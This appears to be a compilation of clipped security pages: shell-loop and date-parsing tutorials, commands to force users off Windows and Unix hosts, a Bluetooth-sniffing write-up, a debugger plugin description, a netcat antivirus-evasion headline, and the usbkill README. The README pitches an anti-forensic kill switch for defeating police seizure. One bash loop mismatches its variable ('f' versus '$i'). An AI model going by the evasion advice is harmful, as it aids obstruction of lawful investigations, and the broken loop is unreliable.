will interpret it as a string, which we can then parse.  
  
If we specify the stuff with single quotes, as in \('stuff'\), the FOR /F loop
will interpret stuff as a command, and run the command, iterating on each line
of output from the command.  
  
Regardless of the stuff \(whether it be files, a string, or a command\), we
can parse the iterator variable using those "options" in the FOR /F loop. I
covered that parsing in more detail in Episode \#48, Parse-a-palooza, and I
won't repeat it here. There's also some examples of FOR /F in action there.  
  
Suffice it to say, though, that if you master each of these FOR loops, you are
rockin' and rollin' at the cmd.exe command line\!  
  
  
Tim, reporting for duty, Sirs\!  
  
After washing Ed's car and mowing Hal's lawn, they sent me on a hunt to find a
_strings_ command in the standard Windows shell. I haven't found it yet, but
I'll keep looking after I finish painting. Anyway, back to the hazing, er,
episode.  
  
PowerShell also has five or six different types of loops. The difference is
that they aren't all named FOR, and we do have the _While_ loop. The available
loop types are:  

[code]

    Do While  
    While  
    Do Until  
    For  
    ForEach-Object (& ForEach statment)
    
[/code]

  
  
The first three loops are very similar so I'll cover them together. Also,
since you are reading a blog such as this I'll assume you have at least a
fundamental understanding of programming and understand control flow so I
won't go into great depth on the basics.  
  
While, Do While, and Do Until loops  
  
Do While Loop  

[code]

    do {code block} while (condition)
    
[/code]

  
Execute "while" the condition is true.  
  
While Loop  

[code]

    while (condition) {code block}
    
[/code]

  
Same as above, except the condition is checked before the block is executed,
the control structure is often also known as a pre-test loop  
  
Do Until Loop  

[code]

    do {code block} until (condition)
    
[/code]

  
Executes "until" the condition is true. In other words it runs while the
condition value is False.  
  
These loops are much more commonly used in scripts and not in one-liner
commands. However, I use the following command to beep when a host goes down
\(drops four pings\).  
  

[code]

    PS C:\> **do {ping 10.10.10.10} while ($?); write-host `a**
    
[/code]

  
  
...and this command to let me know when a host comes back up \(four successful
pings in a row\)  
  

[code]

    PS C:\> **do {ping 10.10.10.10} until ($?); write-host `a**
    
[/code]

  
  
The $? variable contains a boolean value which represents the result status of
the previous command. A true value indicates the command completed
successfully. The first loop continues to run while the ping command result is
successful. The second loops runs until the ping command is successful. After
exiting either loop the  _write-host \`a_ command produces the beep. Note, the
\`a uses a back quote, not the standard single quote.  
  
For loop  
The standard use of the For statement is to run the code block a specified
number of times.  
  

[code]

    for (initialization; condition; repeat) {code block}
    
[/code]

  
  
If we wanted to count to 100 by 2's we could use this command.  

[code]

    PS C:\> **for ($a=2; $a -le 100; $a=$a+2) {echo $a}**  
     2  
    4  
    6  
    ...
    
[/code]

  
  
So far nothing new, but now it gets cool.  
  
ForEach-Object  
ForEach-Object is a looping cmdlet that executes in the pipeline and uses $\_
to reference the current object. The ForEach-Object cmdlet is the most
powerful and most commonly used loop in PowerShell. It is used so much that it
is given the single character alias %. Here is the typical syntax of the
ForEach-Object cmdlet:  
  

[code]

    ... | ForEach-Object { script block } ...
    
[/code]

  
  
Let's use it to view the contents of all the files in the current directory:  
  

[code]

    PS C:\> **Get-ChildItem | ForEach-Object { Get-Content $_ }**
    
[/code]

  
Shorter versions using built-in aliases:  

[code]

    PS C:\> **dir | % { gc $_ }**  
     PS C:\> **gci | % { gc $_ }**
    
[/code]

  
  
This command gets the files in the current directory using Get-ChildItem.
Within our script block the current file is referenced by $\_, the current
pipeline variable. In our script block, denoted with the curly braces "\{\}",
we call the Get-Content cmdlet on the current file. The loop automatically
handles iterating through the objects passed down the pipeline and we get the
contents of all the files.  
  
With the addition of PowerShell to the regularly scheduled programming, you
will see the ForEach cmdlet used regularly in the coming weeks.  
  
ForEach  
The ForEach statement is very similar to the ForEach-Object. The differences
are formatting, performance, and memory utilization.  
  
The formatting is different, but no so much different that it should be
confusing.  
  

[code]

    ForEach ($item in $collection) {command_block}
    
[/code]

  
  
If we rewrote the example above using the ForEach statment this is how it
would look:  
  

[code]

    PS C:\> **ForEach ($f in Get-ChildItem) { Get-Content $f }**
    
[/code]

  
  
Not a huge difference. The big difference comes with the resource usage.
ForEach will load the entire collection in to memory before executing the
script block, and it is usually a bit faster if it doesn't have to load
something too large. Conversely, the ForEach-Object cmdlet will process it as
it receives it.  
  
If we use each method to multiple the numbers from 1 to 100,000 by the number
2 we can see that the ForEach cmdlet is 30 times faster. In short, the reason
for the speed difference is that the ForEach is run as a single function
instead of three or more functions.  
  

[code]

    PS C:\> **Measure-Command { 1..100000 | %{$_*2} } |  
            select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
            5471.2111  
      
    PS C:\> **Measure-Command { foreach ($i in (1..100000) ){$i*2} } |  
            select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
             177.7249
    
[/code]

  
  
This difference is much less noticeable when there are other factors involved,
such as disk access, rather than just pure computing power. Here is a similar
test when accessing the Windows Security Event Log.  
  

[code]

    PS C:\> **measure-command {get-eventlog -logname security |  
            % {echo $_.eventid}} | select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
            1559.6163  
      
    PS C:\> **measure-command {foreach ($i in get-eventlog -logname  
            security) { echo $i.eventid}} | select TotalMilliseconds**  
    TotalMilliseconds  
    -----------------  
            1500.1738
    
[/code]

  
  
I use ForEach-Object with the Get-EventLog cmdlet so my results are displayed
as soon as they are processed and the time difference isn't as great.
Personally, I think the ForEach-Object is more readable and is much easier to
tack on to the end of an existing command.  
  
I look forward to showing more PowerShell tips in the coming weeks. Now back
to polishing Hal's car.  
  
Hal finishes up:  
  
Bash looping constructs are actually very simple: there's essentially two
different types of for loops plus while loops and that's it. The most common
type of loop in command-line tasks is the simple "for <var> in <list of
values> ..." type loop:  
  

[code]

    for f in *.gz; do  
        echo ===== $i  
        zcat $i | grep -i pattern  
    done
    
[/code]

  
The trick is that the "<list of values>" can be pretty much anything you can
imagine, because Unix makes command output substitution so natural. For
example, here's one of our previous solutions from Episode \#56: Find the
Missing JPEG:  
  

[code]

    for i in $(seq -w 1 1300); do [ ! -f $i.jpg ] && echo $i.jpg; done
    
[/code]

  
You can have the for loop iterate over a directory structure simply by having it iterate over the output of a find command, though usually "find ... -exec ..." or "find ... | xargs ..." suffices instead of a loop. In any event, the ability to do arbitrary command substitution for the list of values the for loop iterates over is why bash only needs a single simple for loop construct rather than separate "for /D", "for /R", etc like Windows does.  
  
Bash does have a C-style for loop for iterating over a series of numbers. For
example, here's the alternate solution from Episode \#56 that doesn't require
the seq command:  
  

[code]

    for ((i=1; $i <= 1300; i++)); do file=$(printf "%04d.jpg" $i); \  
        [ ! -f $file ] && echo $file; done
    
[/code]

  
On systems that have seq, I actually find it easier to type "for i in $\(seq
...\); do ..." than the C-style for loop, but your mileage, as always, may
vary.  
  
The other loop construct that bash has is a while loop. The simplest kind of
while loop is an infinite loop. For example, there's our first solution in
Episode \#3 for watching the file count in a directory:  
  

[code]

    while :; do ls | wc -l; sleep 5; done
    
[/code]

  
The ":" in this context is a special marker in bash that always evaluates to
true.  
  
However, you can use any conditional expression in the while loop that you
wish. One example is the common idiom for reading data out of a file:  
  

[code]

    while read l; do ...; done </path/to/some/file
    
[/code]

  
In this case, the read command returns true as long as it is able to read a
line from the input file. When EOF is reached, read returns false and the loop
terminates.  
  
Here's another example with a more general conditional statement at the top of
the loop. This little bit of code tries to periodically unmount a busy file
system. It will continue to iterate until the umount command actually succeeds
and the mount point no longer appears in the output of df:  
  

[code]

    umount $MOUNTPT  
    while [[ "X$(df -P $MOUNTPT | grep $MOUNTPT)" != "X" ]]; do  
            sleep 10  
            umount $MOUNTPT  
    done
    
[/code]

  
  
What a lot of folks don't know is that bash also has an "until" loop. But
until loops are really just while loops where the condition has been negated.
So we could use an until loop to rewrite the example above very easily:  
  

[code]

    umount $MOUNTPT  
    until [[ "X$(df -P $MOUNTPT | grep $MOUNTPT)" = "X" ]]; do  
            sleep 10  
            umount $MOUNTPT  
    done
    
[/code]

  
The only changes are replacing "while" with "until" and "\!=" with "=".  
  
There are also other commands in Unix that are essentially implicit iteration
operators: find which iterates over a list of directories, xargs which
iterates over a list of input values, and sed and awk which iterate over the
lines of a file. Very often you can use these operators instead of a
traditional for or while loop.

POSTED BY ED SKOUDIS AT 5:00 AM

## TUESDAY, OCTOBER 13, 2009

### Episode \#64: The Times \(OK, Dates\) They Are a Changing

Hal finds an interesting topic:  
  
Recently Rich Shepard, one of my colleagues on the Portland Linux User Group
mailing list, posted an interesting problem. He had a data set with pipe-
delimited records like:  
  

[code]

    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|7/6/1993|0
    
[/code]

  
  
All he wanted to do was convert the date column in the 10th field to YYYY-MM-
DD format so that the file could be more easily imported into a relational
database. He was curious if there was a simple command-line he could use to
accomplish this.  
  
To me, this seemed like a task that was tailor made for awk \(apparently Joe
Pruett agreed, since his solution on the mailing list was essentially
identical to the one I'm presenting here\). While awk normally splits fields
on whitespace, we can use the "-F" option to specify an alternate delimiter.
Once we've got the fields split up, we can work a little magic with the built-
in split\(\) and sprintf\(\) operators in awk:  
  

[code]

    $ **awk -F'|' '{split($10,f,"/");  
              $10=sprintf("%d-%02d-%02d", f[3], f[1], f[2]);  
              print}' data**  
    1993-1 Water Quality WVR Yamhill, City of Yamhill Hamlin Holt Npv  
    NPDES-Waste Discharge Limits 1993-07-06 0  
    ...
    
[/code]

  
The split\(\) function in the example breaks up field \#10 on "/" characters
and puts the results into the array named "f". Actually the last argument to
split\(\) can be a full-on egrep-style regular expression delimited with
"/.../". But since we're just splitting on literal slash characters, "/" is a
lot easier to type than "/\//".  
  
Once we have the year, month, and day split into an array, we then replace the
contents of the 10th field with the output of the sprintf\(\) routine. This
puts our data in the desired format. The final "print" statement outputs all
of the fields from the original line, including our reformatted field.  
  
Now you'll notice that the output is space-delimited rather than pipe-
delimited. That's because awk's default "output field separator" \(OFS for
short\) is space. You can actually change this by changing the value of the
OFS variable. The trick is you need to set variables like this in a "BEGIN"
block at the front of your awk code so that the new value is set before you
begin processing your input file:  
  

[code]

    $ **awk -F'|' 'BEGIN { OFS="|" }  
             {split($10,f,"/");  
              $10=sprintf("%d-%02d-%02d", f[3], f[1], f[2]);  
              print}' data**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0  
    ...
    
[/code]

  
Of course we could set OFS to anything. For example, we could set it to comma
to produce CSV files \(though there are possible quoting issues if your data
contains commas\). There are other variables we can set to control awk's
splitting behavior. For instance, the "-F" option is equivalent to setting the
FS \("field separator"\) variable. Similarly, there are the RS \("record
separator"\) and ORS \("output record separator"\) variables, which are
normally set to newline since awk operates on a line-at-a-time basis.  
  
Anyway, if your task is chopping up data and dumping it into a different
format, awk is always one good tool to reach for. I could have solved this a
bit more tersely using Perl, but that would be breaking the rules for this
blog. For those of you who are thinking that even my awk code is breaking the
"no scripting languages" rule, it is possible to do this with cut instead of
awk or sed, but the result is pretty nasty:  
  

[code]

    $ **IFS='|'**  
     $ **while read -a F; do  
     printf -v d "%d-%02d-%02d" \  
        `echo ${F[9]} | cut -d/ -f3` \  
        `echo ${F[9]} | cut -d/ -f1` \  
        `echo ${F[9]} | cut -d/ -f2`;  
    F[9]=$d;  
    echo "${F[*]}";  
    done < data**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0  
    ...
    
[/code]

  
"read -a F" splits each line using the delimiter we specified in the IFS
variable and assigns the fields to elements of the array named F. Notice,
however, that bash indexes its arrays starting at zero \(like C programs\)
while awk starts with one. So the date we're reformatting is in F\[9\], not
F\[10\].  
  
The real difficulty here is that cut doesn't let us reorder multiple fields in a single command, so we're forced to do three instances of the "echo ... | cut ..." pipeline to get the date fields in the order we want. Another minor annoyance is that "printf -v ..." doesn't let us assign directly to array variables, so I have to use $d as a temporary variable.  
  
It's also worth pointing out that the double quotes in the last echo statement
in the loop are significant. If I just wrote "echo $\{F\[\*\]\}" without the
double quotes, then I'd get space-separated output. Using the double quotes
causes the output to be delimited with the first character of $IFS \(similar
to setting OFS in awk\).  
  
So there you go: an awk solution and a nasty shell-only version. Somehow I
think that Tim's Windows solution is going to look even uglier though...  
  
Tim brings the ugly:  
  
First off, the date format of our sample wasn't specified, so I will assume
the sample date is July 6th, 1993. My apologies to military and European
followers who think the date should be June 7th, 1993.  
  
Linux may have all sorts of different "cool" commands to use, but in the
windows world we use the FOR loop...for everything.  
  
We use our FOR loop to split the fields using the "|" and "/" characters as a
delimiters. Then all we need to do is rearrange the date parts and put it all
back together.  
  

[code]

    C:\> **for /F "tokens=1-14 delims=|/" %a in (c:\file.txt) do @echo  
     %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%l-%j-%k^|%m**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-7-6|0
    
[/code]

  
  
Regular readers will remember the FOR loop represents the tokens by using
sequential letters of alphabet. We have chosen %a to represent the first
token, so %b will represent the second token, %j the 10th \(month\), %k the
11th \(day\), and %l the 12th \(year\). We recreate the original format by
adding the "|" and "-" characters between the rearranged tokens. The problem
is, if there is a "/" character in any of the text fields our results will be
messed up. If we change "Water Quality" to be "Water Quality/Temp" we get
these results.  
  

[code]

    C:\> **for /F "tokens=1-14 delims=|/" %a in (c:\file.txt) do @echo  
     %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%l-%j-%k^|%m**  
    1993-1|Water Quality|Temp|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    6-NPDES-Waste Discharge Limits-7|1993
    
[/code]

  
  
We need a more robust solution that will only use the "/" character to split
the date, but not the rest of the string. How do we do that? Well, if one FOR
loop is good, then two must be better.  
  

[code]

    C:\> **for /F "tokens=1-12 delims=|" %a in (c:\file.txt) do @for /F  
     "tokens=1-3 delims=/" %x in ('echo %j') do  
    @echo %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%z-%x-%y^|%k**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-7-6|0
    
[/code]

  
  
The first FOR loop is used to split the string using the "|" character as the
delimiter. The second FOR loop is used to split only the date field using the
"/" character as a delimiter. The variables can be a little confusing so let's
take a deeper look in to the second FOR loop.  
  

[code]

    **..for /F "tokens=1-3 delims=/" %x in ('echo %j') do...**
[/code]

  
  
This FOR loop operates on the output of

[code]

    echo %j
    
[/code]

, which is the entire date field. Using the delims option we slice the date
field using the "/" character as our delimiter. The iterator in this loop is
%x and it will contain the first token \(month\). The second and third tokens
are represented by %y \(day\) and %z \(year\). Finally, we glue it all back
together in the order we like using the variables created by both FOR loops.  
  
Some of you detail oriented folks may have noticed that I neglected one point,
the month and day need a leading zero. I ignored this point because this tiny
change makes things really ugly. We have to use our old friend "delayed
environment variable expansion" which you can read about in episodes \#48,
\#12, and \#46. Since it has been covered so many times I'll skip some of the
details for sake of brevity \(ironic I know\). Here is our final result:  
  

[code]

    C:\> **cmd.exe /v:on /c "for /F "tokens=1-12 delims=^|" %a in (c:\file.txt) do  
     @for /F "tokens=1-3 delims=/" %x in ('echo %j') do @set month=0%x& @set day=0%y&  
    @echo %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%z-!month:~-2!-!day:~-2!^|%k"**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0
    
[/code]

  
  
That is a big mess and it may be difficult to see where and how the leading
zero was added. Using the delayed variable expansion we set the month
variable, with a leading zero, like this:  
  

[code]

    **... set month=0%x & ...!month:~-2!....**
[/code]

  
  
The variable %x could contain 7 \(July\) or 11 \(November\). We set the
variable, month, equal to the concatenation of zero and %x. The month variable
would contain 07 \(July\) or 011 \(November\). Notice when the month variable
is set there is no space between the variable \(%x\) and the "&" character. If
we did leave a space then our month variable would contain a trailing space
which would later have to be removed. When we echo the month variable we only
want the two rightmost characters so July is displayed as 07 and November as
11. The same process is used for the day of the month.  
  
Powershell:  
  
Powershell gives us the ability to use regular expressions which makes
everything much easier. We can reformat any date in our file using this
command:  
  

[code]

    PS C:\> **Get-Content file.txt | ForEach-Object { $_ -replace  
     '(\d{1,2})/(\d{1,2})/(\d{4})','$3-$1-$2' }**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-7-6|0
    
[/code]

  
  
The Get-Content commandlet \(alias gc\) returns each line of the file given.
Using the ForEach-Object \(alias %\) we operate on each line of the file. The
"current pipeline object", represented as $\_, contains the content of the
current line in the file \(in our example we only have one line in our file\).  
  
Our regular expression search and replace finds the month/day/year and
rearranges it as year-month-day. Again we have the problem of adding that
pesky leading zero so we need to use a slightly different command.  
  

[code]

    PS C:\> **gc file.txt | % { $_ -replace '(\d{1,2})/(\d{1,2})/(\d{4})',  
     '$3-0$1-0$2' } | % { $_ -replace '(\d{4}-)\d?(\d{2}-)\d?(\d{2})','$1$2$3'}**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0
    
[/code]

  
  
We use two replace commands in order to add our leading zero. The first
replace command adds a leading zero and rearranges our month/day/year,
resulting in year-0month-0day. The second command removes the leading zeros if
they are unnecessary.

POSTED BY HAL POMERANZ AT 5:00 AM

## TUESDAY, OCTOBER 6, 2009

### Episode \#63: Death To Users\!

Tim kicks it off:  
  
Last week we discussed ways to determine who is logged in to a system. Now
what? Well, what is the most fun thing to do with that information? Of course,
kick those users off the system.  
  
Windows has two commands we can use, loggoff and rwinsta \(Reset WINdows
STAtion\), and both do the same thing. Both commands require either a session
name or session id, and both accept an /server option. How do we get the
session name or id? Last week's post explained how to use qwinsta to get that
info.  
  
I didn't cover it last week, but there is another command, query session, that
gives the same output as qwinsta. It has an undocumented switch /sm which
returns the session id first which is easier for parsing. Unfortunately, it
isn't available in XP so we will skip it.  
  

[code]

    C:\> **qwinsta /server:Alpha**  
     SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE  
    console           shemp                     0  Conn    wdcon  
    rdp-tcp                                 65537  Listen  rdpwd  
    rda-tcp#5         larry                     1  Active  wdica  
    rda-tcp#6         moe                       2  Active  wdica  
                      curly                    16  Disc    wdica
    
[/code]

  
We want to kick Larry and we have four ways to do it.  
  

[code]

    C:\> **logoff /server:Alpha rda-rcp#5**  
     C:\> **logoff /server:Alpha 1**  
     C:\> **rwinsta /server:Alpha rda-rcp#5**  
     C:\> **rwinsta /server:Alpha 1**
    
[/code]

  
Why stop with just Larry, we want to kick off everyone\! What if we try to
logoff the listener?  
  

[code]

    C:\> **logoff /server:Alpha rda-rcp**  
     If you reset this session, all users using this protocol will be logged off,  
    Continue (n=no)? y  
    C:\> **qwinsta /server:Alpha**  
     SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE  
    console           shemp                     0  Conn    wdcon  
    rdp-tcp                                 65537  Listen  rdpwd  
                      larry                     1  Disc    wdica  
                      moe                       2  Disc    wdica  
                      curly                    16  Disc    wdica
    
[/code]

  
We disconnected the users, but we didn't kill their session. The behavior is
different depending if a listener or a active/disconnected session is
specified. Unfortunately, rwinsta acts the same way so that won't help. So
then how do we kill the session? We will need to get the session id's and
logoff each one.  
  

[code]

    C:\> **for /F "tokens=2,3" %i in ('qwinsta /server:xen03 ^| findstr  "Active Disc"') do  
     @echo  %i | findstr /v "[a-z]" && logoff /server:xen03 %i || logoff /server:xen03 %j**
    
[/code]

  
I'll just explain the differences since you can get most of the details from
the last post. Previously, we worked with tokens 1 and 2 in order to find the
username. This week we want token 2 or 3 in order to get the session id.
Remember, a space is the default delimiter and is therefore ignored at the
beginning of the line. The first token is either the session name or the
username, the second token is either the username or session id.  
  
Now let's look at the logic used to find the session id and ultimately logoff
the user. Stealing from Episode 47 we use "the shorthand \[command1\] &&
\[command2\] || \[command3\]. If command1 succeeds, command2 will run. If
command1 has an error, command3 will execute." In our example, command1 looks
at the variable %i to ensure it does NOT contain a letter \(and is therefore a
number\). If %i is determined to be a number \(session id\), then we use it to
logoff the user, if %i is not a number then %j is our session id and is used
to logoff the user.  
  
So now we have everyone off the server. Now we can take it offline and install
Windows 2008 R2 \(unless you're Hal\).  
  
Hal weighs in:  
  
Just for that crack, Tim, I'm not going to invite you to my Windows 7 release
party...  
  
In general, to kick a user off a Unix system you need to either kill their
command shell or one of the ancestors of that process-- like the SSH daemon
that spawned their shell or the X server that's supporting their windows. Back
in Episode 22 I noted that the pkill command was very handy for this, so let's
review:  
  

[code]

    # **pkill -u hal**         # kicks hal off the system by killing all hal-owned procs  
    # **pkill -P 1 sshd**      # kicks all SSH logins off system, master daemon still running  
    # **pkill X**              # terminate GUI session on console
    
[/code]

  
The above commands are all fairly indiscriminate. For example, the first
command kicks a single user off the system by terminating all processes owned
by that user. This includes not only their command shells, but also any other
jobs that user might have running. That might not be the best idea if the user
had a legitimate but long-running job that shouldn't have been terminated.  
  
However, pkill also lets us be more selective. For example, "pkill -u hal
bash" would kill only the bash command shells running as user hal. Actually
bash apparently traps SIGTERM, so we need to explicitly use SIGKILL:  
  

[code]

    # **pkill -9 -u hal bash**
    
[/code]

  
The other, less discriminating versions of the pkill command I showed you
earlier work without the "-9" because they're terminating ancestor processes
of users' shells, which forces those shells to exit.  
  
Another approach is to terminate only the processes associated with a login
session on a particular tty. The who command will show us the tty associated
with each logged in user, and we can use "pkill -t ..." to terminate only
processes associated with that pty:  
  

[code]

    # **who**  
     moe      pts/0        2009-10-03 07:51 (host1.deer-run.com)  
    larry    pts/2        2009-10-03 07:51 (host2.deer-run.com)  
    hal      pts/3        2009-10-03 07:52 (host3.deer-run.com)  
    # **pkill -9 -t pts/3**
    
[/code]

  
By the way, the "-t" option is not unique to pkill: many other Unix commands
allow you to get information for a single tty. For example, on older systems
that don't have pkill I can use "ps -t ..." to do something similar:  
  

[code]

    # **who**  
     moe      pts/0        2009-10-03 07:51 (host1.deer-run.com)  
    larry    pts/2        2009-10-03 07:51 (host2.deer-run.com)  
    hal      pts/3        2009-10-03 08:06 (host3.deer-run.com)  
    # **ps -t pts/3**  
      PID TTY          TIME CMD  
     1511 pts/3    00:00:00 bash  
    # **kill -9 1511**
    
[/code]

  
Similarly, the other pkill variants I've shown you in this Episode can be
accomplished with a combination of ps, grep, and kill if you happen to have a
Unix machine without pkill installed.

  *[5:00 AM]: 2009-10-13T05:00:00-04:00

# Digital Sampling Theory to the Rescue\!\!\! - Raj Web

**Created:**| _8/3/2010 8:00:48 AM_  
---|---  
**Updated:**| _8/3/2010 8:00:48 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark research USRP_  
  

## Digital Sampling Theory to the Rescue\!\!\!

by Raj on Feb.12, 2009, under Cons

So I joined Intrepidus not too long ago and I’m loving every second of it. We
just came back from ShmooCon, which was my first security conference. Shmoo
was a great experience, and I’m excited to attend further cons. While a few of
the talks were pretty informative, one in particular I found very interesting.
Michael Ossmann and Dominic Spill spoke about how one can build an all channel
Bluetooth monitor. Their approach towards solving this problem was ingenious.
Quite honestly, any hack that allows us to capture data flows that were
otherwise private is awesome. If this hack relies on a basic theory of digital
signal processing \(I’ll get into that later\) as well as the normal security
concepts we are all well aware of, it becomes that much more interesting. This
Bluetooth presentation had all of those traits.

I don’t plan on reproducing the presentation since you can find that online,
however, I do want to talk about what I believed was an interesting solution
to a problem that they ran into. But before I can get into the solution I need
to introduce the problem.

Bluetooth operates within a 79 MHz bandwidth. It uses 79 channels, each of
which is 1 MHz wide. The devices randomly hop around the 79 MHz bandwidth 1600
times a second. All devices that are in a Bluetooth network \(piconet\) know
the hopping pattern and listen to the right frequency at the right time.
Ossmann and Spill were able to reverse out the hopping pattern of a piconet by
passively listening to 25 channels of communication using their USRP \(a tool
used to help create software radio implementations.\) Their USRP can sample a
25 MHz bandwidth and pass all the data to a computer for processing. They also
developed a few scripts that can reverse out the hop sequence by looking at a
fraction of a piconet conversation.

Once the pattern is discovered, monitoring a Bluetooth stream can go in one of
two directions. You can sniff one channel at a time and retune the radio per
hop, or you can record all 79 channels and parse out the correct channels in
the DSP software. Both of these paths have some limiting factors. The first,
retune per hop, cannot be done with the USRP. Retuning the 2.4 GHz card in the
USRP cannot happen 1600 times a second, and therefore cannot hop as fast as
the Bluetooth devices. One suggestion then was to bootstrap a Bluetooth dongle
with the correct hop sequence and let it do the sniffing. But if we are going
to spend thousands on a USRP we damn well want to keep using it. The second
solution entails listening to all 79 channels, which would require 4 USRPs.
However, buying 4 USRPs is 4 times harder than buying one. We need to find a
cheaper way. Digital sampling theory to the rescue\!

Using a principle called aliasing, Ossmann and Spill were able to turn their
25 MHz bandwidth USRP into one that can sample 79 MHz\! Aliasing is a term
used to describe the phenomena when two distinct analog signals create the
same digital representation when they are sampled at a certain frequency. This
is because at the points where the two signals are sampled, they also
intersect each other. Refer to figure one below. The two analog signals are
obviously different frequencies, however, if they are sampled at the blue
points their digital representation would be identical. Usually this is a
phenomena radio designers try to eliminate from their systems. This is because
they need to read only one frequency, and the alias frequency would just add
noise to the desired signal. Therefore many designs use band-pass filters to
isolate one central frequency and eliminate the alias before sampling.

<img src='img/Aliasing-plot.png' width='530' height='290' alt='Figure 1.
Aliasing in action.' />

Figure 1. Aliasing in action.

However, for the purpose of Bluetooth monitoring, we do not need this
filtering. This is because only one of the 79 channels is ever used at once.
No one channel will interfere with the communication on another channel. Once
the filters were isolated on the 2.4 GHz ISM board in the USRP, Ossmann and
Spill could just remove it, choose an appropriate sampling frequency, and rely
on the aliased frequencies of the 25 MHz band to pick up the rest of the
information. Problem solved, and they can now use one USRP to sample the full
band of Bluetooth\!

So now that all your Bluetooth traffic are belong to us, the sky is the limit.
As pointed out in the presentation, many of these devices do not encrypt
traffic before it is transmitted. This opens the door to quite a number of
attacks. There is the obvious consumer based traffic that can now be sniffed
\(cell phone, key board, and so on.\) Bluetooth, however, has a strong
industrial footing. A lot of these industrial applications are one of a kind
systems, tailored for a specific facility. Any industrial facility that uses
Bluetooth to monitor and control machinery must now consider this new threat
to their assets. If there are any vulnerabilities in their deployed Bluetooth
systems, proprietary company information could leak into the wrong hands. The
presentation also mentioned that active Bluetooth attacks can now be
developed. Once you have the hopping order, you can inject traffic into a
piconet. This may lead to DoS attacks, unauthorized access and control, and
other devious actions against the industrial equipment. Be forewarned…

-D1AB1069
\(cross post on PhishMe\)

# Parsing Binary File Formats with PowerShell.pdf

**Created:**| _3/4/2015 11:10:08 AM_  
---|---  
**Updated:**| _3/4/2015 11:10:08 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Parsing Binary File Formats with PowerShell.pdf' />

# usbkill/README.md at master · hephaest0s/usbkill

**Created:**| _5/5/2015 11:31:32 AM_  
---|---  
**Updated:**| _5/5/2015 11:31:32 AM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

# usbkill

usbkill waits for a change on your usb ports, then immediately kills your
computer. Anti forensic, usb -> kill

Unfinished project\! Expect improvements to come.

But it does work and is effective.

To run: sudo python3 usbkill.py

In case the police comes busting in, or steals your laptop from you when you
are at a public library \(as with Ross\). The police will use a \`mouse
jiggler' \[0\] to keep the screensaver and sleep mode from activating. If this
happens you would like your computer to shut down immediately. Additionally,
you may use a cord to attach a usb key to your wrist. Then insert the key into
your computer and start usbkill. If they then steal your computer, the usb
will be removed and the computer shuts down immediately.

Custom commands for when a usb change is observed will be implemented later.

Make sure to use full disk encryption\! Otherwise they will get in anyway.

\[0\] http://www.amazon.com/Cru-dataport-Jiggler-Automatic-keyboard-
Activity/dp/B00MTZY7Y4/ref=pd\_bxgy\_pc\_text\_y/190-3944818-7671348

#  Contact

hephaestos@riseup.net \- 8764 EF6F D5C1 7838 8D10 E061 CF84 9CE5 42D0 B12B

# Harmony Security : OllyCallTrace, trace a threads call chain to aid in the
debugging of stack based buffer overflows

**Created:**| _8/24/2010 12:16:41 PM_  
---|---  
**Updated:**| _8/24/2010 12:16:41 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# Download

## OllyCallTrace v1.0

OllyCallTrace \[ZIP - 58.6 KB\]

# OllyCallTrace

## About

OllyCallTrace is a plugin for OllyDbg \(version 1.10\) to trace the call chain
of a thread allowing you to monitor it for irregularities to aid in the
debugging of stack based buffer overflows as well as to quickly plot the
execution flow of a program you are reversing.

## Usage

Simply install the plugin and set a breakpoint on a location you want to trace
from, e.g. ReadFile\(\) or WSARecv\(\). When this breakpoint is hit, activate
OllyCallTrace and press F7 to begin the automated single stepping and
recording of the call chain. When you are finished tracing the code, pause
execution or disable OllyCallTrace and view the OllyCallTrace Log to see the
recorded call chain.

Double clicking on any Call/Return instruction in the OllyCallTrace Log window
will bring you to that location in the OllyDbg disassembly window. The
recorded call chain is highlighted with blue being for the main module, yellow
for system modules and green for all other modules. The call chain is also
displayed in a nested format to make it easier to read. All irregularities are
marked in red.

## Example

This example shows how OllyCallTrace handles the recording of a stack based
buffer overflow. In the screenshot below we can see where an overflow occurred
when returning from the function at 0x00401198 and an attempt was made to
return to 0x41414141. We can see that the return address should have been
0x0040120E which was originally called from 0x00401209. We can also note that
the memset operation before the stack smash is suspicious and probably the
cause of the vulnerability. This information would not have been available
without OllyCallTrace recording the call chain as the stack is destroyed after
the overflow.

## Screenshot

<img src='img/OllyCallTrace_screen1.gif' alt='OllyCallTrace Screenshot' />

# Netcat Rewritten To Bypass AntiVirus ≈ Packet Storm

**Created:**| _5/18/2011 11:03:20 AM_  
---|---  
**Updated:**| _5/18/2011 11:03:20 AM_  
**Author:**| __  
**Tags:**| _attacks Exploit new?_  
  

**Netcat Rewritten To Bypass AntiVirus**

     Posted May 18, 2011
